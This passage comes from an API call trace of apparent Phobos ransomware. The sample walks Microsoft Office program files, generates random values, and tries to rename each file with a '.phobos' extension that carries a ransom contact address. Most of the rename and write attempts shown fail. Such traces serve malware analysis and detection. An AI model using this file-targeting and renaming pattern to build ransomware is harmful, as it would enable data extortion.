office\\root\\office16\\accwiz\\acwzdat12.accdu.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzdat12.accdu")) returned 0 [0155.219] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.229] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3424256) returned 1 [0155.229] CloseHandle (hObject=0x574) returned 1 [0155.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu")) returned 0x220 [0155.229] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.230] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzusr12.accdu")) returned 0 [0155.230] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\colleagueimport.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.232] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=144480) returned 1 [0155.232] CloseHandle (hObject=0x574) returned 1 [0155.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\colleagueimport.dll")) returned 0x220 [0155.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\colleagueimport.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\colleagueimport.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.234] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.237] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=64168) returned 1 [0155.237] CloseHandle (hObject=0x574) returned 1 [0155.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.237] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.240] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=182952) returned 1 [0155.240] CloseHandle (hObject=0x574) returned 1 [0155.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.240] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.242] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=658088) returned 1 [0155.242] CloseHandle (hObject=0x574) returned 1 [0155.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.242] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.244] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=73792) returned 1 [0155.244] CloseHandle (hObject=0x574) returned 1 [0155.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.245] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.246] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=200768) returned 1 [0155.246] CloseHandle (hObject=0x574) returned 1 [0155.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.246] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.252] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=258112) returned 1 [0155.252] CloseHandle (hObject=0x574) returned 1 [0155.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.252] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.549] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=723624) returned 1 [0155.549] CloseHandle (hObject=0x254) returned 1 [0155.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\bg\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.549] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.553] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=208960) returned 1 [0155.553] CloseHandle (hObject=0x254) returned 1 [0155.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.553] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.555] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=270400) returned 1 [0155.555] CloseHandle (hObject=0x254) returned 1 [0155.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.556] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.556] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=772776) returned 1 [0155.556] CloseHandle (hObject=0x254) returned 1 [0155.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\el\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.557] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0155.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.560] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=61504) returned 1 [0155.560] CloseHandle (hObject=0x574) returned 1 [0155.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\es\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 